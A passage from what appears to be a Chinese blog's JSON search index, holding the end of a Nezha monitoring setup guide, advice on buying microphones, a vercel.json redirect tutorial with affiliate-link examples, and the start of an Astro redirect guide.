style=\"display:flex;\"\u003e\u003cspan\u003e请指定后台语言\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e1. 中文（简体）\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e2. 中文（台灣）\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e3. English\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e请输入选项 \u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003e1-3\u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e接下来，你应该可以在 8008 端口进入哪吒探针的WebUI\u003c/p\u003e\n\u003cp\u003e点击登录，默认账密均为 \u003ccode\u003eadmin\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/nezha/img/2025-09-03-05-07-55-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e首先我们先更改管理员账密，鼠标移到右上角头像，点击 \u003ccode\u003e个人信息\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/nezha/img/2025-09-03-05-08-40-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e然后点击 \u003ccode\u003e更新个人资料\u003c/code\u003e 更改管理员账密\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/nezha/img/2025-09-03-05-09-06-image.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"安装后端agent\"\u003e安装后端（Agent）\u003c/h1\u003e\n\u003cp\u003e打开哪吒探针的WebUI，在服务器一栏可以找到安装命令，选择对应系统的，然后前往终端执行即可。稍后你将会看到一个随机名称的新服务器上线\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e如果你的服务器在中国大陆，可能无法连接上 \u003ccode\u003eraw.githubusercontent.com\u003c/code\u003e  。推荐使用镜像 \u003ccode\u003eraw.gitmirror.com\u003c/code\u003e 即可\u003c/em\u003e\u003c/p\u003e","title":"哪吒监控搭建教程"},{"content":"明确你的需求 你买麦克风是为了什么？是想和朋友语音时更清晰一点，还是想录歌、K 歌、录视频、做播客？\n如果你只是想和朋友语音 如果你现在用的是耳机线控麦，那其实未必需要额外购入新的麦克风。直接配合 NVIDIA Broadcast App - 以 AI 助力语音和视频 | NVIDIA 或其他降噪软件、服务，通常就已经够用了。\n想要录歌/K歌/录视频/做播客 这时候就要进一步看你的录音环境了：环境是否安静？有没有空调噪音、装修噪音，或者其他杂七杂八的背景声？\n如果你的录音环境做不到绝对安静，那么 动圈麦 往往会是更合适的选择。\n电容麦 和 动圈麦 有什么区别？\n电容麦：几乎什么声音都收，包括环境噪声。它更适合愿意认真做后期的人，不太适合图省事的用户，因为很多音频都需要额外处理。不过反过来说，它的后期空间也更大，也很适合做 ASMR 这类需要放大细微声音的内容。\n动圈麦：更偏向收录中频段的人声，对环境噪声不那么敏感。在几乎不做后期的情况下，人声通常也会更饱满。优点是抗噪能力更强，缺点是离得太远时收音效果会明显下降，一般建议控制在 5~30 cm 的距离内使用。\n推荐型号：山逊 Q2U 动圈麦克风。我买的时候大约是 279 CNY，现在市场价大概在 400 CNY 左右。\n这款麦的缺点在于它使用的是比较老的 Mini USB 接口，而且裸机不附带支架，需要自己额外搭配桌面支架或悬臂支架。\n如果你的预算更高，想进一步升级：\n那我会推荐舒尔 MV6。这款麦有配套 App，支持自动电平（主要是防爆音，实际体验有时好用、有时一般）。整体使用思路和上面的山逊 Q2U 差别不算特别大，但做工和配套体验会更完整一些，售价约 1349 CNY。\n开箱体验视频： 简单开箱舒尔MV6麦克风_哔哩哔哩_bilibili\n我现在用的麦克风？ 没有哪一支麦克风能完美胜任所有场景，所以我自己手头上常用的是三种不同类型的设备。\n山逊 Q2U：它曾经是我唯一的主力麦克风，我也用它录过不少视频。不过因为它通常需要搭配悬臂支架使用，而且收音范围比较窄，录音时基本得贴得很近；再加上我本人比较懒，现在一般只会在唱歌或录视频时拿出来用。\n绿联 USB MIC-CM727：音质只能算一般，但价格不到 200 CNY。它是一支电容麦，收音范围比较广，我现在更多把它当成日常使用麦克风，图的就是方便。\n全民 K 歌 KPods SE：严格来说，它更像是常规半入耳耳机加一个电容领夹麦。不过它的设计确实很巧妙，可以把麦挂在下唇附近，这样既能保证收音清晰，也不会太限制动作。缺点则是我自己还是嫌麻烦：嘴边挂个东西多少会有异物感，而且勒得太紧的话，戴久了耳朵也会不舒服。所以它一般也是我唱歌时才会拿出来用，价格大约是 109 CNY（国补后）。\n坑点 不要轻易买那种必须搭配声卡的麦克风，除非你预算充足，而且确实很喜欢折腾。因为一旦买了卡农口麦克风，后面往往还要继续配声卡、监听耳机，整套下来成本会迅速上升。更麻烦的是，每次想录音时，你都得把整套设备接好、调好，再开始工作；如果你买的还是电容麦，环境又比较嘈杂，那后期处理也会非常痛苦。对大多数人来说，独立麦克风优先选 USB 麦就够了。\n我始终不太推荐普通用户单独去买高规格电容麦。因为这类设备越高端，往往越依赖录音环境。你花大价钱买回来，结果把环境噪声录得一清二楚，那体验其实并不会更好。\n如果你需要录歌、录视频这类需要实时监听的场景，请务必确认麦克风支持硬件级监听，也就是接近 0 延迟的那种。\n不要先买一个 3.5 mm 麦克风，再买一个 3.5 mm 耳机，最后再额外接一个双 3.5 mm 的小声卡来凑合用。真要走这种路线，还不如直接买个 Earpods 来得省事。\n不要指望游戏耳机自带的麦克风能有多好的音质。同时我也不太推荐专门购买高价游戏耳机，因为一支入门动圈麦加一个 Earpods，很多时候加起来都不到 500 块，而有些游戏耳机起步就已经上千了。\n最后一点：不要上头，也不要在没有需求的情况下硬给自己创造需求。买一支几千块的麦克风，并不会直接提高你的唱功。\n不要想着一支麦克风通吃所有场景。便宜的 USB 桌面麦克风（尤其是带降噪的那类）更适合打游戏时一边动来动去一边和队友聊天；而像舒尔 MV6 这种更偏高端的动圈麦，则更适合做播客、唱歌这类长时间保持固定姿势的场景。真要说“通吃”，Earpods 确实勉强算一个，但线控耳机的收音效果又高度依赖它挂在什么位置，总不能一直贴在嘴边使用。所以归根结底，还是按需求来选最实际。\n","permalink":"https://blog.2x.nz/posts/mic/","summary":"\u003ch1 id=\"明确你的需求\"\u003e明确你的需求\u003c/h1\u003e\n\u003cp\u003e你买麦克风是为了什么？是想和朋友语音时更清晰一点，还是想录歌、K 歌、录视频、做播客？\u003c/p\u003e\n\u003ch1 id=\"如果你只是想和朋友语音\"\u003e如果你只是想和朋友语音\u003c/h1\u003e\n\u003cp\u003e如果你现在用的是耳机线控麦，那其实未必需要额外购入新的麦克风。直接配合 \u003ca href=\"https://www.nvidia.cn/geforce/broadcasting/broadcast-app/\"\u003eNVIDIA Broadcast App - 以 AI 助力语音和视频 | NVIDIA\u003c/a\u003e 或其他降噪软件、服务，通常就已经够用了。\u003c/p\u003e\n\u003ch1 id=\"想要录歌k歌录视频做播客\"\u003e想要录歌/K歌/录视频/做播客\u003c/h1\u003e\n\u003cp\u003e这时候就要进一步看你的录音环境了：环境是否安静？有没有空调噪音、装修噪音，或者其他杂七杂八的背景声？\u003c/p\u003e\n\u003cp\u003e如果你的录音环境做不到绝对安静，那么 \u003cstrong\u003e动圈麦\u003c/strong\u003e 往往会是更合适的选择。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003e电容麦\u003c/strong\u003e 和 \u003cstrong\u003e动圈麦\u003c/strong\u003e 有什么区别？\u003c/p\u003e\u003c/blockquote\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e电容麦：几乎什么声音都收，包括环境噪声。它更适合愿意认真做后期的人，不太适合图省事的用户，因为很多音频都需要额外处理。不过反过来说，它的后期空间也更大，也很适合做 ASMR 这类需要放大细微声音的内容。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e动圈麦：更偏向收录中频段的人声，对环境噪声不那么敏感。在几乎不做后期的情况下，人声通常也会更饱满。优点是抗噪能力更强，缺点是离得太远时收音效果会明显下降，一般建议控制在 5~30 cm 的距离内使用。\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e推荐型号：山逊 Q2U 动圈麦克风。我买的时候大约是 279 CNY，现在市场价大概在 400 CNY 左右。\u003c/p\u003e\n\u003cp\u003e这款麦的缺点在于它使用的是比较老的 Mini USB 接口，而且裸机不附带支架，需要自己额外搭配桌面支架或悬臂支架。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/mic/img/2025-09-02-10-54-48-IMG20250902105434.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e如果你的预算更高，想进一步升级：\u003c/p\u003e\n\u003cp\u003e那我会推荐舒尔 MV6。这款麦有配套 App，支持自动电平（主要是防爆音，实际体验有时好用、有时一般）。整体使用思路和上面的山逊 Q2U 差别不算特别大，但做工和配套体验会更完整一些，售价约 1349 CNY。\u003c/p\u003e\n\u003cp\u003e开箱体验视频： \u003ca href=\"https://www.bilibili.com/video/BV1JoJqzBEyA\"\u003e简单开箱舒尔MV6麦克风_哔哩哔哩_bilibili\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/mic/img/2025-09-02-11-00-14-Screenshot_2025-09-02-10-59-56-76_4fbb30eb7b71661.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"我现在用的麦克风\"\u003e我现在用的麦克风？\u003c/h1\u003e\n\u003cp\u003e没有哪一支麦克风能完美胜任所有场景，所以我自己手头上常用的是三种不同类型的设备。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e山逊 Q2U：它曾经是我唯一的主力麦克风，我也用它录过不少视频。不过因为它通常需要搭配悬臂支架使用，而且收音范围比较窄，录音时基本得贴得很近；再加上我本人比较懒，现在一般只会在唱歌或录视频时拿出来用。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e绿联 USB MIC-CM727：音质只能算一般，但价格不到 200 CNY。它是一支电容麦，收音范围比较广，我现在更多把它当成日常使用麦克风，图的就是方便。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/mic/img/2025-09-02-11-07-46-IMG20250902110659.webp\"\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e全民 K 歌 KPods SE：严格来说，它更像是常规半入耳耳机加一个电容领夹麦。不过它的设计确实很巧妙，可以把麦挂在下唇附近，这样既能保证收音清晰，也不会太限制动作。缺点则是我自己还是嫌麻烦：嘴边挂个东西多少会有异物感，而且勒得太紧的话，戴久了耳朵也会不舒服。所以它一般也是我唱歌时才会拿出来用，价格大约是 109 CNY（国补后）。\u003c/p\u003e","title":"给想买麦克风的朋友一些建议"},{"content":"正式开始 官方文档： Redirects\n在你的仓库根目录创建 vercel.json 写入重定向规则\nsource 为要重定向的路径，destination 为重定向到的路径/URL，permanent 为一个可选的布尔值，用于在永久重定向和临时重定向之间切换（默认为 true）。当 true 时，状态代码为 308。当 false 时，状态代码为 307。\n{ \u0026#34;redirects\u0026#34;: [ { \u0026#34;source\u0026#34;: \u0026#34;/ak\u0026#34;, \u0026#34;destination\u0026#34;: \u0026#34;https://akile.io/register?aff_code=503fe5ea-e7c5-4d68-ae05-6de99513680e\u0026#34;, \u0026#34;permanent\u0026#34;: false }, { \u0026#34;source\u0026#34;: \u0026#34;/kook\u0026#34;, \u0026#34;destination\u0026#34;: \u0026#34;https://kook.vip/K29zpT\u0026#34;, \u0026#34;permanent\u0026#34;: false }, { \u0026#34;source\u0026#34;: \u0026#34;/long\u0026#34;, \u0026#34;destination\u0026#34;: \u0026#34;https://iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii.iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii.in/\u0026#34;, \u0026#34;permanent\u0026#34;: false }, { \u0026#34;source\u0026#34;: \u0026#34;/mly\u0026#34;, \u0026#34;destination\u0026#34;: \u0026#34;https://muleyun.com/aff/GOTRJLPN\u0026#34;, \u0026#34;permanent\u0026#34;: false }, { \u0026#34;source\u0026#34;: \u0026#34;/tg\u0026#34;, \u0026#34;destination\u0026#34;: \u0026#34;https://t.me/+_07DERp7k1ljYTc1\u0026#34;, \u0026#34;permanent\u0026#34;: false }, { \u0026#34;source\u0026#34;: \u0026#34;/tit\u0026#34;, \u0026#34;destination\u0026#34;: \u0026#34;/posts/pin/\u0026#34;, \u0026#34;permanent\u0026#34;: false }, { \u0026#34;source\u0026#34;: \u0026#34;/tly\u0026#34;, \u0026#34;destination\u0026#34;: \u0026#34;https://tianlicloud.cn/aff/HNNCFKGP\u0026#34;, \u0026#34;permanent\u0026#34;: false }, { \u0026#34;source\u0026#34;: \u0026#34;/wly\u0026#34;, \u0026#34;destination\u0026#34;: \u0026#34;https://wl.awcmam.com/#/register?code=FNQwOQBM\u0026#34;, \u0026#34;permanent\u0026#34;: false }, { \u0026#34;source\u0026#34;: \u0026#34;/yyb\u0026#34;, \u0026#34;destination\u0026#34;: \u0026#34;https://www.rainyun.com/acofork_?s=bilibili\u0026#34;, \u0026#34;permanent\u0026#34;: false } ] } ","permalink":"https://blog.2x.nz/posts/vercel-redirects/","summary":"\u003ch1 id=\"正式开始\"\u003e正式开始\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e官方文档： \u003ca href=\"https://vercel.com/docs/redirects\"\u003eRedirects\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e在你的仓库根目录创建 \u003ccode\u003evercel.json\u003c/code\u003e 写入重定向规则\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003esource\u003c/code\u003e 为要重定向的路径，\u003ccode\u003edestination\u003c/code\u003e 为重定向到的路径/URL，\u003ccode\u003epermanent\u003c/code\u003e 为一个可选的布尔值，用于在永久重定向和临时重定向之间切换（默认为 \u003ccode\u003etrue\u003c/code\u003e）。当 \u003ccode\u003etrue\u003c/code\u003e 时，状态代码为 \u003ca href=\"https://developer.mozilla.org/docs/Web/HTTP/Status/308\"\u003e308\u003c/a\u003e。当 \u003ccode\u003efalse\u003c/code\u003e 时，状态代码为 \u003ca href=\"https://developer.mozilla.org/docs/Web/HTTP/Status/307\"\u003e307\u003c/a\u003e。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e{\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003e\u0026#34;redirects\u0026#34;\u003c/span\u003e: [\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003e\u0026#34;source\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;/ak\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003e\u0026#34;destination\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;https://akile.io/register?aff_code=503fe5ea-e7c5-4d68-ae05-6de99513680e\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003e\u0026#34;permanent\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    },\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003e\u0026#34;source\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;/kook\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003e\u0026#34;destination\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;https://kook.vip/K29zpT\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003e\u0026#34;permanent\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    },\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003e\u0026#34;source\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;/long\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003e\u0026#34;destination\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;https://iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii.iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii.in/\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003e\u0026#34;permanent\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    },\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003e\u0026#34;source\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;/mly\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003e\u0026#34;destination\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;https://muleyun.com/aff/GOTRJLPN\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003e\u0026#34;permanent\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    },\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003e\u0026#34;source\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;/tg\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003e\u0026#34;destination\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;https://t.me/+_07DERp7k1ljYTc1\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003e\u0026#34;permanent\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    },\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003e\u0026#34;source\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;/tit\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003e\u0026#34;destination\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;/posts/pin/\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003e\u0026#34;permanent\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    },\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003e\u0026#34;source\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;/tly\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003e\u0026#34;destination\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;https://tianlicloud.cn/aff/HNNCFKGP\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003e\u0026#34;permanent\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    },\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003e\u0026#34;source\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;/wly\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003e\u0026#34;destination\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;https://wl.awcmam.com/#/register?code=FNQwOQBM\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003e\u0026#34;permanent\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    },\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003e\u0026#34;source\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;/yyb\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003e\u0026#34;destination\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;https://www.rainyun.com/acofork_?s=bilibili\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003e\u0026#34;permanent\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  ]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"配置 Vercel.json 以支持服务器级别的重定向"},{"content":"正式开始 Astro v3 正式支持了原生的重定向 路由 | 文档 - Astro 文档\n仅需在 astro.config.mjs 中添加如下代码，示例代码将 /tit 的请求 302 重定向到 /posts/pin 。可以配置多行重定向规则\nimport { defineConfig } from \u0026#34;astro/config\u0026#34;; export default defineConfig({ redirects: { \u0026#34;/tit\u0026#34;: { destination: \u0026#34;/posts/pin/\u0026#34;, status: 302, }, } }); 有的小伙伴就会问了，如果我的Astro输出模式为SSG？那Astro的重定向是不是不支持 location 重定向？仅支持 HTML 重定向？\n的确，在不对构建服务商进行额外配置的情况下，Astro会使用兼容模式，创建 HTML 重定向，你可以尝试安装适配器来支持重定向，但需要注意 并不是所有适配器都会透传Astro中设置的重定向规则 ，始终建议使用您构建服务商提供的重定向服务，参见： 配置 Vercel.json 以支持服务器级别的重定向。如配置 vercel.json 。关于 Astro 适配器的更多信息，参见 配置参考 | Docs\n","permalink":"https://blog.2x.nz/posts/astrov3-redirects/","summary":"\u003ch1 id=\"正式开始\"\u003e正式开始\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003eAstro v3 正式支持了原生的重定向 \u003ca href=\"https://docs.astro.js.cn/en/guides/routing/#configured-redirects\"\u003e路由 | 文档 - Astro 文档\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e仅需在 \u003ccode\u003eastro.config.mjs\u003c/code\u003e 中添加如下代码，示例代码将 \u003ccode\u003e/tit\u003c/code\u003e 的请求 302 重定向到 \u003ccode\u003e/posts/pin\u003c/code\u003e 。可以配置多行重定向规则\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-js\" data-lang=\"js\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eimport\u003c/span\u003e { \u003cspan style=\"color:#a6e22e\"\u003edefineConfig\u003c/span\u003e } \u003cspan style=\"color:#a6e22e\"\u003efrom\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;astro/config\u0026#34;\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eexport\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003edefault\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003edefineConfig\u003c/span\u003e({\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#a6e22e\"\u003eredirects\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e:\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;/tit\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e:\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#a6e22e\"\u003edestination\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e:\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;/posts/pin/\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan 